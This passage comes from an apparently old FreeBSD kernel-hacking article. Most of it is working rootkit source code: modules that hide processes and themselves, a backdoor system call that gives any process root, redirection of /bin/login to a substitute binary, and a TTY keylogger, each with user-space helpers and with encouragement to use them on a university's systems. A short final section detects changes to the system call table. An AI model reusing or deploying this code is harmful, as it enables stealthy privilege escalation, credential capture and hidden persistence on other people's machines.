3277 /*Do we have the entry for our file to hide (I don't check for procfs)*/
3278 if (strcmp((char*)&(dirp3->d_name), (char*)&hide)==0)
3282 /*ATTENTION : Do not use something like strcpy or so. bcopy is able to
3283 handle overlapping memroy locations, so this is our choice*/
3284 bcopy((char*)dirp3+n,dirp3, t);
3286 /*the dirent structure list is shorter now*/
3289 /*The following piece of code is necessary, because we get one dirent entry
3290 with d_reclen=0, if we would not implement this, we would get an infinite
3292 if (dirp3->d_reclen==0)
3297 /*as long as there is something to copy, do it*/
3299 /*get the next pointer from the dirent structure list*/
3300 dirp3=(struct dirent*)((char*)dirp3+dirp3->d_reclen);
3302 /*we must decrement the getdirentries user call return value, if we changed
3306 /*copy the whole (perhaps modified) memory back to the user buffer*/
3307 copyout(dirp2, uap->buf, tmp);
3309 /*free kernel memory*/
3310 FREE(dirp2, M_DIRP2);
3312 /*everything ok, so return 0*/
3316 /*the hacked getdirentries syscall*/
3317 static struct sysent hacked_getdirentries_sysent = {
3319 hacked_getdirentries /* sy_call */
3323 /*the hacked kill sysentry*/
3324 static struct sysent hacked_kill_sysent = {
3329 /*the hacked sysctl sysentry*/
3330 static struct sysent hacked_sysctl_sysent = {
3332 hacked_sysctl /* sy_call */
3337 * The function called at load/unload.
3340 dummy_handler (struct module *module, int cmd, void *arg)
3346 /*replace the sysctl syscall with our own*/
3347 sysent[202]=hacked_sysctl_sysent;
3348 /*replace the kill syscall with our own*/
3349 sysent[37]=hacked_kill_sysent;
3350 /*replace the getdirentries syscall with our own*/
3351 sysent[196]=hacked_getdirentries_sysent;
3354 /*argument count has not changed, so we only need to restore the
3356 sysent[202].sy_call=(sy_call_t*)__sysctl;
3357 sysent[37].sy_call=(sy_call_t*)kill;
3358 sysent[196].sy_call=(sy_call_t*)getdirentries;
3369 static moduledata_t syscall_mod = {
3375 DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
3378 Load this module and the process will be hidden. Already started processes can
3379 - of course - also be hidden.<br>
3380 You may say that this solution does not look very nice, I know, but again it's
3381 working. And please bear in mind that this module is again experimental.
3382 For kernel starters :<br>
3383 You may wonder why I didn't patch the allproc or zombproc list directly. Well
3384 those lists are also required for scheduling and other important system tasks.
3385 It would be far too complicated to code something like this, I really think
3386 that it's quite impossible.
3389 <H3><A NAME="II.3.2."></A>3.2 Backdoor 'rootshell'</h3>
3391 The following module was a nice idea I had when playing around with the proc
3392 structure. Load this module, and you can 'SU' without a password.
3393 The idea is very simple. The module implements a system call that gets one
3394 argument : a PID. This can be the PID of any process, but will normally be the
3395 PID of your user account shell (tcsh, sh, bash or whatever). This
3396 process will then become root (UID 0) by manipulating its cred structure.
3399 #include <sys/types.h>
3400 #include <sys/param.h>
3401 #include <sys/proc.h>
3402 #include <sys/module.h>
3403 #include <sys/sysent.h>
3404 #include <sys/kernel.h>
3405 #include <sys/systm.h>
3406 #include <sys/linker.h>
3407 #include <sys/lock.h>
3409 /*arguments for our system call*/
3410 struct make_me_root_args {
3411 /*which process should be set UID=0?*/
3415 /*A very simple system call handler making a certain process UID=0*/
3417 make_me_root (struct proc *p, struct make_me_root_args *uap)
3419 struct proc *pr=pfind(uap->p_pid);
3421 /*this is all we need...*/
3422 pr->p_cred->pc_ucred->cr_uid=0;
3427 * The `sysent' for the our syscall
3429 static struct sysent make_me_root_sysent = {
3431 make_me_root /* sy_call */
3434 /*we choose slot number 210, because it's free on FreeBSD 3.1*/
3435 static int offset = 210;
3437 /*nothing to do here*/
3439 load (struct module *module, int cmd, void *arg)
3444 /*start everything*/
3445 SYSCALL_MODULE(rootmod, &offset, &make_me_root_sysent, load, NULL);
3448 The problem is that anyone can call this system call, but you can add some
3449 kind of simple authentication (like I did before) or just hide it with a
3450 filesysetem hack ;).
3452 Here's the user space :
3454 /*in argv[1] this program waits for the PID to set UID=0*/
3456 #include <sys/syscall.h>
3457 #include <sys/types.h>
3458 #include <sys/module.h>
3460 struct make_me_root_args {
3465 main(int argc, char **argv)
3467 struct make_me_root_args mmra;
3469 mmra.p_pid=atoi(argv[1]);
3470 return syscall (210, mmra);
3473 In my opinion this is one of the easiest local backdoors. Interesting for
3474 thousands of students. Image your university uses a buggy FreeBSD system (every
3475 system is buggy, no piece of software is perfect). Do the scrippt-kiddie trick
3476 and become root, install the module (hiding should be added) and you are done.
3479 <H3><A NAME="II.4."></A>4. File execution redirection</h3>
3481 This method and its advantages were already described in my Linux article, so
3482 I will only give you the code plus some short words. Please note that this
3483 hack approach is a bit different from the Linux idea, so pay attention :
3485 #include <sys/types.h>
3486 #include <sys/param.h>
3487 #include <sys/proc.h>
3488 #include <sys/module.h>
3489 #include <sys/sysent.h>
3490 #include <sys/kernel.h>
3491 #include <sys/systm.h>
3492 #include <sys/linker.h>
3493 #include <sys/sysproto.h>
3494 #include <sys/sysent.h>
3495 #include <sys/proc.h>
3496 #include <sys/syscall.h>
3497 #include <sys/file.h>
3498 #include <sys/malloc.h>
3499 #include <sys/types.h>
3503 * Shareable process virtual address space.
3504 * May eventually be merged with vm_map.
3505 * Several fields are temporary (text, data stuff).
3508 /*NOTE : I just used some padding stuff, to avoid too much include file
3511 /* struct vm_map vm_map; VM address map */
3513 /* struct pmap vm_pmap; private physical map */
3515 int vm_refcnt; /* number of references */
3516 caddr_t vm_shm; /* SYS5 shared memory private data XXX */
3517 /* we copy from vm_startcopy to the end of the structure on fork */
3518 #define vm_startcopy vm_rssize
3519 segsz_t vm_rssize; /* current resident set size in pages */
3520 segsz_t vm_swrss; /* resident set size before last swap */
3521 segsz_t vm_tsize; /* text size (pages) XXX */
3522 segsz_t vm_dsize; /* data size (pages) XXX */
3523 segsz_t vm_ssize; /* stack size (pages) */
3524 caddr_t vm_taddr; /* user virtual address of text XXX */
3525 caddr_t vm_daddr; /* user virtual address of data XXX */
3526 caddr_t vm_maxsaddr; /* user VA at max stack growth */
3527 caddr_t vm_minsaddr; /* user VA at max stack growth */
3531 /*the hacked execve syscall*/
3533 int hacked_execve(struct proc *p, struct execve_args *uap)
3536 /*the file we want to redirect*/
3537 char old_name[]="/bin/login";
3538 /*the new file to execute, perhaps hiding is a good idea...*/
3539 char new_name[]="/bin/newlogin";
3541 struct obreak_args oa;
3542 struct execve_args kap;
3543 struct execve_aegs *nap;
3544 char *user_new_name;
3546 /*get the program name the system (user) wants to execute via execve*/
3547 copyinstr(uap->fname, name, 255, &done);
3549 /*do we have the right file name?*/
3550 if (strcmp((char*)&name, (char*)&old_name)==0)
3552 /*IDEA : Now we allocate a bit of user space memory for a new execve_args
3554 /*allocate one page*/
3555 oa.nsize=curproc->p_vmspace->vm_daddr+ctob(curproc->p_vmspace->vm_dsize)+
3559 user_new_name=oa.nsize-256;
3560 /*copy the new name to user space location*/
3561 copyout(&new_name, user_new_name, strlen(new_name));
3562 /*set the pointer kap.fname to the user space location*/
3563 kap.fname=oa.nsize-256;
3564 /*set the pointer kap.argv to the old uap entry in user space*/
3566 /*the same as above*/
3568 /*set the adress for the new execve_args structure in user space*/
3569 nap=(struct execve_args*)oa.nsize-4000;
3570 /*copy the kernel execve_args structure to the user space one*/
3571 copyout(&kap, nap, sizeof(struct execve_args));
3572 /*execute the new command with the same argv and envv values*/
3573 return execve(curproc, nap);
3575 /*if we don't have our file, just continue*/
3576 return execve(p, uap);
3579 /*the hacked execve syscall*/
3580 static struct sysent hacked_execve_sysent = {
3582 hacked_execve /* sy_call */
3588 * The function called at load/unload.
3591 dummy_handler (struct module *module, int cmd, void *arg)
3596 /*replace the execve syscall with our own*/
3597 sysent[SYS_execve]=hacked_execve_sysent;
3600 /*argument count has not changed, so we only need to restore the
3602 sysent[SYS_execve].sy_call=(sy_call_t*)execve;
3613 static moduledata_t syscall_mod = {
3619 DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
3622 I had to reuse an execve system call, so I was forced to allocate some user
3623 space memory for the new args. This is why the module is a bit long.
3626 <H3><A NAME="II.5."></A>5. TTY hijacking</h3>
3628 TTY hijacking has a long tradition, and though there may be lots of ways to do,
3629 kernel code is a quite nice solution. It was demonstrated on Linux boxes with
3630 LKM. Now it's time to show you how it works on BSD. <br>
3631 So take a look at my 10 minutes hack (don't expect good code) :
3633 #include <sys/types.h>
3634 #include <sys/param.h>
3635 #include <sys/proc.h>
3636 #include <sys/module.h>
3637 #include <sys/sysent.h>
3638 #include <sys/kernel.h>
3639 #include <sys/systm.h>
3640 #include <sys/linker.h>
3641 #include <sys/sysproto.h>
3642 #include <sys/sysent.h>
3643 #include <sys/proc.h>
3644 #include <sys/syscall.h>
3645 #include <sys/file.h>
3646 #include <sys/malloc.h>
3647 #include <sys/types.h>
3649 /*TTY we want to hijack*/
3653 /*buffer size to use (for TTY data)*/
3654 #define BUFSIZE 8192
3656 /*global memory for saving all TTY inputs*/
3659 /*global counter to implement some (bad) kind of ring buffer*/
3660 int globalcounter=0;
3662 MALLOC_DEFINE(M_BUF, "buf", "buf");
3665 /*structure for system call to retrieve the TTYbuf data*/
3666 static struct get_tty_args {
3670 /*I packed some structures into this module, to make things clearer.*/
3672 struct vnode **si_hashchain;
3673 struct vnode *si_specnext;
3674 struct mount *si_mountpoint;
3676 unsigned long si_blksize;
3680 /*stuff needed for vnode structure*/
3681 typedef int vop_t __P((void *));
3682 enum vtype { VNON, VREG, VDIR, VBLK, VCHR, VLNK, VSOCK, VFIFO, VBAD };
3683 TAILQ_HEAD(buflists, buf);
3686 /*non-complete vnode structure, we only need the device parts.*/
3688 u_long v_flag; /* vnode flags (see below) */
3689 int v_usecount; /* reference count of users */
3690 int v_writecount; /* reference count of writers */
3691 int v_holdcnt; /* page & buffer references */
3692 daddr_t v_lastr; /* last read (read-ahead) */
3693 u_long v_id; /* capability identifier */
3694 struct mount *v_mount; /* ptr to vfs we are in */
3695 vop_t **v_op; /* vnode operations vector */
3696 TAILQ_ENTRY(vnode) v_freelist; /* vnode freelist */
3697 LIST_ENTRY(vnode) v_mntvnodes; /* vnodes for mount point */
3698 struct buflists v_cleanblkhd; /* clean blocklist head */
3699 struct buflists v_dirtyblkhd; /* dirty blocklist head */
3700 LIST_ENTRY(vnode) v_synclist; /* vnodes with dirty buffers */
3701 long v_numoutput; /* num of writes in progress */
3702 enum vtype v_type; /* vnode type */
3704 struct mount *vu_mountedhere;/* ptr to mounted vfs (VDIR) */
3705 struct socket *vu_socket; /* unix ipc (VSOCK) */
3706 struct specinfo *vu_specinfo; /* device (VCHR, VBLK) */
3707 struct fifoinfo *vu_fifoinfo; /* fifo (VFIFO) */
3713 /*the shortest systemcall I ever saw, but (again) everything is working*/
3715 void get_tty(struct proc *p, struct get_tty_args *uap)
3717 copyout(ttybuf, uap->buf, BUFSIZE);
3720 /*the hacked write syscall*/
3722 int hacked_write(struct proc *p, struct write_args *uap)
3724 /*we will examine the vnode of the file it is read from*/
3726 /*we have to check the device for our TTY*/
3730 vn=(struct vnode*)curproc->p_fd->fd_ofiles[uap->fd]->f_data;
3732 /*do we have a character device?*/
3733 if (vn->v_type==VCHR)
3735 /*if so get the device*/
3736 device=vn->v_un.vu_specinfo->si_rdev;
3737 /*check for MAJOR and MINOR codes*/
3738 if ((major(device)==MAJOR) && (minor(device)==MINOR))
3740 /*arghh, this is no nice solution. Computer Science students should
3741 correct this bad ring buffer implementation*/
3742 if ((globalcounter+uap->nbyte)>BUFSIZE) globalcounter=0;
3743 /*again no nice coding, just call me Mr. Lazy ;)*/
3744 if (uap->nbyte<BUFSIZE)
3745 copyin(uap->buf, ttybuf+globalcounter, uap->nbyte);
3746 globalcounter+=uap->nbyte;
3749 return write(p, uap);
3752 /*the hacked open syscall*/
3753 static struct sysent hacked_write_sysent = {
3755 hacked_write /* sy_call */
3758 /*our own system call for bringing the kernel buffer to user space*/
3759 static struct sysent get_tty_sysent = {
3761 get_tty /* sy_call */
3766 dummy_handler (struct module *module, int cmd, void *arg)
3771 /*allocate memory. Bear in mind that M_NOWAIT is always a bit critical!*/
3772 MALLOC(ttybuf, char*, BUFSIZE, M_BUF, M_NOWAIT);
3773 /*replace the execve syscall with our own*/
3774 sysent[SYS_write]=hacked_write_sysent;
3775 /*again we use slot 210*/
3776 sysent[210]=get_tty_sysent;
3780 FREE(ttybuf, M_BUF);
3781 /*argument count has not changed, so we only need to restore the
3783 sysent[SYS_write].sy_call=(sy_call_t*)write;
3793 static moduledata_t syscall_mod = {
3799 DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
3802 For any explainations read my Linux LKM text :). TTY hijacking is realized by
3803 intercepting every write system call and checking the vnode for the correct
3804 device codes (specified through major and minor).<br>
3805 The following little program represents the user space part, getting the
3809 #include <sys/syscall.h>
3810 #include <sys/types.h>
3811 #include <sys/module.h>
3813 struct get_tty_args {
3818 main(int argc, char **argv)
3820 /*maybe you have to adjust the size value (see BUFSIZE in module)*/
3821 char *buf=(char*)malloc(8192);
3822 struct get_tty_args uap;
3827 /*I used this way of printing, maybe it would be a better job to handle some
3828 command codes (old plain ASCII)*/
3829 for (counter=0; counter<=8192; counter++)
3830 printf("%c", buf[counter]);
3833 Ok, start the module with desired device codes. Wait some time, and start user
3834 space program...<br>
3835 The first big Linux TTY hijacking LKM used a device to manage the TTY buffer.
3836 Of course, this would also work on FreeBSD, but I hadn't got the time, so
3837 I just installed a system call.
3840 <H3><A NAME="II.6."></A>6. Hiding the module</h3>
3842 [Note : LKM hiding under FreeBSD 2.x systems was done before, KLD hiding for
3843 3.x systems is new, so read & learn.]<br>
3844 Now it's time to discuss hiding of our module. First of all we have to think
3845 about what to hide.<br>
3846 As I explained above there is a big difference between a link file and a
3847 module. Commands like 'kldstat' will give you a listing of loaded linkfiles,
3848 but there is no command to get a list of all loaded modules.
3849 So guess where kldstat gets the listing from. It's just the linker file list
3850 'files'. Now it's quite easy to hide this module and make it unremovable. Just
3851 delete the desired entry from the files list, and everything is fine. There are
3852 no problems with doing this (like there were with the proc lists). I have to
3853 admit that I only analyzed 40 % of the whole kernel code (I will continue) so
3854 I also implemented module hiding perhaps there is a place in the kernel we
3855 need it. So let's take a look at my implementation :
3859 - manipulate linker files list
3860 - manipulate moodules list
3861 - manipulate first linker file entry
3862 - manipulate global linker file ID coutner
3863 - manipulate global modules ID counter
3866 #include <sys/types.h>
3867 #include <sys/param.h>
3868 #include <sys/proc.h>
3869 #include <sys/module.h>
3870 #include <sys/sysent.h>
3871 #include <sys/kernel.h>
3872 #include <sys/systm.h>
3873 #include <sys/linker.h>
3874 #include <sys/sysproto.h>
3875 #include <sys/sysent.h>
3876 #include <sys/proc.h>
3877 #include <sys/syscall.h>
3878 #include <sys/file.h>
3879 #include <sys/malloc.h>
3880 #include <sys/types.h>
3881 #include <sys/lock.h>
3884 typedef TAILQ_HEAD(, module) modulelist_t;
3887 extern struct lock lock;
3888 /*we have to patch the files list*/
3889 extern linker_file_list_t files;
3890 extern int next_file_id;
3891 /*we have to patch the modules list*/
3892 extern modulelist_t modules;
3897 TAILQ_ENTRY(module) link;
3898 TAILQ_ENTRY(module) flink;
3899 struct linker_file *file;
3903 modeventhand_t handler;
3908 char string[]="Hello Word";
3910 /*this is just to show that extern functions also work*/
3914 printf("IT WORKS : %s\n", string);
3917 /*The syscall *TODO* function*/
3918 /*This function is not necessary, because we just want to hide a module. We
3919 only need it for checking, that our module is still working.*/
3921 hello (struct proc *p, void *arg)
3923 printf ("SYSCALL was ESTABLISHED and is still in memory \n");
3930 * The `sysent' for the new syscall
3932 static struct sysent hello_sysent = {
3938 * The offset in sysent where the syscall is allocated.
3940 /*NO_SYSCALL stands for 'let the kernel choose the syscall number'*/
3941 static int offset = 210;
3944 * The function called at load/unload.
3947 load (struct module *module, int cmd, void *arg)
3955 lockmgr(&lock, LK_SHARED, 0, curproc);
3957 /*NOTE : The first linker file is the current kernel image (/kernel for
3958 example). If we load our module we will increase the reference cound
3959 of the kernel link file, this might be a bit suspect, so we must
3962 (&files)->tqh_first->refs--;
3963 for (lf=(&files)->tqh_first; lf; lf=(lf)->link.tqe_next) {
3965 if (!strcmp(lf->filename, "hide.ko"))
3967 /*first let's decrement the global link file counter*/
3969 /*now let's remove the entry*/
3970 if (((lf)->link.tqe_next)!=NULL)
3972 (lf)->link.tqe_next->link.tqe_prev=(lf)->link.tqe_prev;
3974 (&files)->tqh_last=(lf)->link.tqe_prev;
3975 *(lf)->link.tqe_prev=(lf)->link.tqe_next;
3980 lockmgr(&lock, LK_RELEASE, 0, curproc);
3982 for (mod=TAILQ_FIRST(&modules); mod; mod=TAILQ_NEXT(mod, link)) {
3983 if(!strcmp(mod->name, "mysys"))
3985 /*first let's patch the internal ID counter*/
3988 TAILQ_REMOVE(&modules, mod, link);
3994 /*start everything*/
3995 /*This function only sets the field of X_module_data, where X stands for the
3996 kind of module; here SYSCALL_...*/
3997 SYSCALL_MODULE(mysys, &offset, &hello_sysent, load, NULL);
3999 Load this module via kldload and wonder ;). You won't see anything. Even
4000 loading another module will seem totally normal, because the ID field is only
4001 incremented by 1 due to our modifications. After adding this hiding feature
4002 any module is also unremovable and neary undetectable.
4005 <H3><A NAME="II.7."></A>7. Last Words</h3>
4007 As I said in my introduction this part only showed those hacks that
4008 needed a total re-implementation on BSD compared to the Linux ones. Every other
4009 hack I presented in my Linux text, should also work; but it's too trivial to
4010 explain this here.<br>
4011 Of course, it's also possible to write some kind of FreeBSD virus. Perhaps I
4012 will work on this, but it's quite easy.
4015 <H3><A NAME="III."></A>III. Securing the kernel</h3>
4017 This part will only show you how to avoid some problems (not all) you as
4018 administrator could have with 'hacker' modules playing havoc with your system
4019 call table. My Linux text showed many ways how to fight against hostile modules
4020 with the help of some protection LKMs. I won't repeat those ideas. You can use
4021 all those modules on FreeBSD too, you only have to change the code a bit. This
4022 is why this part is quite short; I only describe some new ideas.
4025 <H3><A NAME="III.1."></A>1. How to detect sysent[] modifications</h3>
4027 Those of you common with kernel hacking know that nearly every module that
4028 does something useful for a hacker must modify the kernel system call table.
4029 [Note : As I said in my introduction there are lots of ways to attack FreeBSD
4030 without patching the system call table, but ... wait for a further release of
4031 this text :)] Those changes are needed to intercept and manipulate system
4032 calls. Of course there may also be some non-hacking modules that will change
4033 the global system call table (add a system call or so), but normally those
4034 driver modules (for example) don't change existing system calls. So we should
4035 implement some piece of code checking every system call entry on a system that
4036 is defined during startup for suspicious changes.
4038 #include <sys/types.h>
4039 #include <sys/param.h>
4040 #include <sys/proc.h>
4041 #include <sys/module.h>
4042 #include <sys/sysent.h>
4043 #include <sys/kernel.h>
4044 #include <sys/systm.h>
4045 #include <sys/linker.h>
4046 #include <sys/sysproto.h>
4047 #include <sys/sysent.h>
4048 #include <sys/proc.h>
4049 #include <sys/syscall.h>
4050 #include <sys/file.h>
4051 #include <sys/malloc.h>
4052 #include <sys/types.h>
4053 #include <sys/lock.h>
4057 * The function called at load/unload.
4060 dummy_handler (struct module *module, int cmd, void *arg)
4065 bzero(&error, sizeof(error));
4067 /*this is hard cut & paste coding :-)*/
4068 if (sysent[SYS_exit].sy_call!=exit) error[SYS_exit]=1;
4069 if (sysent[SYS_fork].sy_call!=fork) error[SYS_fork]=1;
4070 if (sysent[SYS_read].sy_call!=read) error[SYS_read]=1;
4071 if (sysent[SYS_write].sy_call!=write) error[SYS_write]=1;
4072 if (sysent[SYS_open].sy_call!=open) error[SYS_open]=1;
4073 if (sysent[SYS_close].sy_call!=close) error[SYS_close]=1;
4074 if (sysent[SYS_wait4].sy_call!=wait4) error[SYS_wait4]=1;
4075 if (sysent[SYS_link].sy_call!=link) error[SYS_link]=1;
4076 if (sysent[SYS_unlink].sy_call!=unlink) error[SYS_unlink]=1;
4077 if (sysent[SYS_chdir].sy_call!=chdir) error[SYS_chdir]=1;
4078 if (sysent[SYS_fchdir].sy_call!=fchdir) error[SYS_fchdir]=1;
4079 if (sysent[SYS_mknod].sy_call!=mknod) error[SYS_mknod]=1;
4080 if (sysent[SYS_chmod].sy_call!=chmod) error[SYS_chmod]=1;
4081 if (sysent[SYS_chown].sy_call!=chown) error[SYS_chown]=1;
4082 if (sysent[SYS_break].sy_call!=obreak) error[SYS_break]=1;
4083 if (sysent[SYS_getfsstat].sy_call!=getfsstat) error[SYS_getfsstat]=1;
4084 if (sysent[SYS_lseek].sy_call!=lseek) error[SYS_lseek]=1;
4085 if (sysent[SYS_getpid].sy_call!=getpid) error[SYS_getpid]=1;
4086 if (sysent[SYS_mount].sy_call!=mount) error[SYS_mount]=1;
4087 if (sysent[SYS_unmount].sy_call!=unmount) error[SYS_unmount]=1;
4088 if (sysent[SYS_setuid].sy_call!=setuid) error[SYS_setuid]=1;
4089 if (sysent[SYS_getuid].sy_call!=getuid) error[SYS_getuid]=1;
4090 if (sysent[SYS_geteuid].sy_call!=geteuid) error[SYS_geteuid]=1;
4091 if (sysent[SYS_ptrace].sy_call!=ptrace) error[SYS_ptrace]=1;
4092 if (sysent[SYS_recvmsg].sy_call!=recvmsg) error[SYS_recvmsg]=1;
4093 if (sysent[SYS_sendmsg].sy_call!=sendmsg) error[SYS_sendmsg]=1;
4094 if (sysent[SYS_recvfrom].sy_call!=recvfrom) error[SYS_recvfrom]=1;
4095 if (sysent[SYS_accept].sy_call!=accept) error[SYS_accept]=1;
4096 if (sysent[SYS_getpeername].sy_call!=getpeername) error[SYS_getpeername]=1;
4097 if (sysent[SYS_getsockname].sy_call!=getsockname) error[SYS_getsockname]=1;
4098 if (sysent[SYS_access].sy_call!=access) error[SYS_access]=1;
4099 if (sysent[SYS_chflags].sy_call!=chflags) error[SYS_chflags]=1;
4100 if (sysent[SYS_fchflags].sy_call!=fchflags) error[SYS_fchflags]=1;
4101 if (sysent[SYS_sync].sy_call!=sync) error[SYS_sync]=1;
4102 if (sysent[SYS_kill].sy_call!=kill) error[SYS_kill]=1;
4103 if (sysent[SYS_stat].sy_call!=stat) error[SYS_stat]=1;
4104 if (sysent[SYS_lstat].sy_call!=lstat) error[SYS_lstat]=1;
4105 if (sysent[SYS_dup].sy_call!=dup) error[SYS_dup]=1;
4106 if (sysent[SYS_pipe].sy_call!=pipe) error[SYS_pipe]=1;
4107 if (sysent[SYS_getegid].sy_call!=getegid) error[SYS_getegid]=1;
4108 if (sysent[SYS_profil].sy_call!=profil) error[SYS_profil]=1;
4109 if (sysent[SYS_ktrace].sy_call!=ktrace) error[SYS_ktrace]=1;
4110 if (sysent[SYS_sigaction].sy_call!=sigaction) error[SYS_sigaction]=1;
4111 if (sysent[SYS_getgid].sy_call!=getgid) error[SYS_getgid]=1;
4112 if (sysent[SYS_sigprocmask].sy_call!=sigprocmask) error[SYS_sigprocmask]=1;
4113 if (sysent[SYS_getlogin].sy_call!=getlogin) error[SYS_getlogin]=1;
4114 if (sysent[SYS_setlogin].sy_call!=setlogin) error[SYS_setlogin]=1;
4115 if (sysent[SYS_acct].sy_call!=acct) error[SYS_acct]=1;
4116 if (sysent[SYS_sigpending].sy_call!=sigpending) error[SYS_sigpending]=1;
4117 if (sysent[SYS_sigaltstack].sy_call!=sigaltstack) error[SYS_sigaltstack]=1;
4118 if (sysent[SYS_ioctl].sy_call!=ioctl) error[SYS_ioctl]=1;
4119 if (sysent[SYS_reboot].sy_call!=reboot) error[SYS_reboot]=1;
4120 if (sysent[SYS_revoke].sy_call!=revoke) error[SYS_revoke]=1;
4121 if (sysent[SYS_symlink].sy_call!=symlink) error[SYS_symlink]=1;
4122 if (sysent[SYS_readlink].sy_call!=readlink) error[SYS_readlink]=1;
4123 if (sysent[SYS_execve].sy_call!=execve) error[SYS_execve]=1;
4124 if (sysent[SYS_umask].sy_call!=umask) error[SYS_umask]=1;
4125 if (sysent[SYS_chroot].sy_call!=chroot) error[SYS_chroot]=1;
4126 if (sysent[SYS_fstat].sy_call!=fstat) error[SYS_fstat]=1;
4127 if (sysent[SYS_msync].sy_call!=msync) error[SYS_msync]=1;
4128 if (sysent[SYS_vfork].sy_call!=vfork) error[SYS_vfork]=1;
4129 if (sysent[SYS_sbrk].sy_call!=sbrk) error[SYS_sbrk]=1;
4130 if (sysent[SYS_sstk].sy_call!=sstk) error[SYS_sstk]=1;
4131 if (sysent[SYS_vadvise].sy_call!=ovadvise) error[SYS_vadvise]=1;
4132 if (sysent[SYS_munmap].sy_call!=munmap) error[SYS_munmap]=1;
4133 if (sysent[SYS_mprotect].sy_call!=mprotect) error[SYS_mprotect]=1;
4134 if (sysent[SYS_madvise].sy_call!=madvise) error[SYS_madvise]=1;
4135 if (sysent[SYS_mincore].sy_call!=mincore) error[SYS_mincore]=1;
4136 if (sysent[SYS_getgroups].sy_call!=getgroups) error[SYS_getgroups]=1;
4137 if (sysent[SYS_setgroups].sy_call!=setgroups) error[SYS_setgroups]=1;
4138 if (sysent[SYS_getpgrp].sy_call!=getpgrp) error[SYS_getpgrp]=1;
4139 if (sysent[SYS_setpgid].sy_call!=setpgid) error[SYS_setpgid]=1;
4140 if (sysent[SYS_setitimer].sy_call!=setitimer) error[SYS_setitimer]=1;
4141 if (sysent[SYS_swapon].sy_call!=swapon) error[SYS_swapon]=1;
4142 if (sysent[SYS_getitimer].sy_call!=getitimer) error[SYS_getitimer]=1;
4143 if (sysent[SYS_getdtablesize].sy_call!=getdtablesize)
4144 error[SYS_getdtablesize]=1;
4145 if (sysent[SYS_dup2].sy_call!=dup2) error[SYS_dup2]=1;
4146 if (sysent[SYS_fcntl].sy_call!=fcntl) error[SYS_fcntl]=1;
4147 if (sysent[SYS_select].sy_call!=select) error[SYS_select]=1;
4148 if (sysent[SYS_fsync].sy_call!=fsync) error[SYS_fsync]=1;
4149 if (sysent[SYS_setpriority].sy_call!=setpriority) error[SYS_setpriority]=1;
4150 if (sysent[SYS_socket].sy_call!=socket) error[SYS_socket]=1;
4151 if (sysent[SYS_connect].sy_call!=connect) error[SYS_connect]=1;
4152 if (sysent[SYS_accept].sy_call!=accept) error[SYS_accept]=1;
4153 if (sysent[SYS_getpriority].sy_call!=getpriority) error[SYS_getpriority]=1;
4154 if (sysent[SYS_sigreturn].sy_call!=sigreturn) error[SYS_sigreturn]=1;
4155 if (sysent[SYS_bind].sy_call!=bind) error[SYS_bind]=1;
4156 if (sysent[SYS_setsockopt].sy_call!=setsockopt) error[SYS_setsockopt]=1;
4157 if (sysent[SYS_listen].sy_call!=listen) error[SYS_listen]=1;
4158 if (sysent[SYS_gettimeofday].sy_call!=gettimeofday) error[SYS_gettimeofday]=1;
4159 if (sysent[SYS_getrusage].sy_call!=getrusage) error[SYS_getrusage]=1;
4160 if (sysent[SYS_getsockopt].sy_call!=getsockopt) error[SYS_getsockopt]=1;
4161 if (sysent[SYS_sigreturn].sy_call!=sigreturn) error[SYS_sigreturn]=1;
4162 if (sysent[SYS_readv].sy_call!=readv) error[SYS_readv]=1;
4163 if (sysent[SYS_writev].sy_call!=writev) error[SYS_writev]=1;
4164 if (sysent[SYS_settimeofday].sy_call!=settimeofday) error[SYS_settimeofday]=1;
4165 if (sysent[SYS_fchown].sy_call!=fchown) error[SYS_fchown]=1;
4166 if (sysent[SYS_fchmod].sy_call!=fchmod) error[SYS_fchmod]=1;
4167 if (sysent[SYS_recvfrom].sy_call!=recvfrom) error[SYS_recvfrom]=1;
4168 if (sysent[SYS_setreuid].sy_call!=setreuid) error[SYS_setreuid]=1;
4169 if (sysent[SYS_setregid].sy_call!=setregid) error[SYS_setregid]=1;
4170 if (sysent[SYS_rename].sy_call!=rename) error[SYS_rename]=1;
4171 if (sysent[SYS_truncate].sy_call!=truncate) error[SYS_truncate]=1;
4172 if (sysent[SYS_ftruncate].sy_call!=ftruncate) error[SYS_ftruncate]=1;
4173 if (sysent[SYS_flock].sy_call!=flock) error[SYS_flock]=1;
4174 if (sysent[SYS_mkfifo].sy_call!=mkfifo) error[SYS_mkfifo]=1;
4175 if (sysent[SYS_sendto].sy_call!=sendto) error[SYS_sendto]=1;
4176 if (sysent[SYS_shutdown].sy_call!=shutdown) error[SYS_shutdown]=1;
4177 if (sysent[SYS_socketpair].sy_call!=socketpair) error[SYS_socketpair]=1;
4178 if (sysent[SYS_mkdir].sy_call!=mkdir) error[SYS_mkdir]=1;
4179 if (sysent[SYS_rmdir].sy_call!=rmdir) error[SYS_rmdir]=1;
4180 if (sysent[SYS_utimes].sy_call!=utimes) error[SYS_utimes]=1;
4181 if (sysent[SYS_adjtime].sy_call!=adjtime) error[SYS_adjtime]=1;
4182 if (sysent[SYS_getpeername].sy_call!=getpeername) error[SYS_getpeername]=1;
4183 if (sysent[SYS_getrlimit].sy_call!=getrlimit) error[SYS_getrlimit]=1;
4184 if (sysent[SYS_setrlimit].sy_call!=setrlimit) error[SYS_setrlimit]=1;
4185 if (sysent[SYS_quotactl].sy_call!=quotactl) error[SYS_quotactl]=1;
4186 if (sysent[SYS_statfs].sy_call!=statfs) error[SYS_statfs]=1;
4187 if (sysent[SYS_fstatfs].sy_call!=fstatfs) error[SYS_fstatfs]=1;
4188 if (sysent[SYS_getdomainname].sy_call!=getdomainname)
4189 error[SYS_getdomainname]=1;
4190 if (sysent[SYS_setdomainname].sy_call!=setdomainname)
4191 error[SYS_setdomainname]=1;
4192 if (sysent[SYS_uname].sy_call!=uname) error[SYS_uname]=1;
4193 if (sysent[SYS_sysarch].sy_call!=sysarch) error[SYS_sysarch]=1;
4194 if (sysent[SYS_rtprio].sy_call!=rtprio) error[SYS_rtprio]=1;
4195 if (sysent[SYS_semsys].sy_call!=semsys) error[SYS_semsys]=1;
4196 if (sysent[SYS_msgsys].sy_call!=msgsys) error[SYS_msgsys]=1;
4197 if (sysent[SYS_shmsys].sy_call!=shmsys) error[SYS_shmsys]=1;
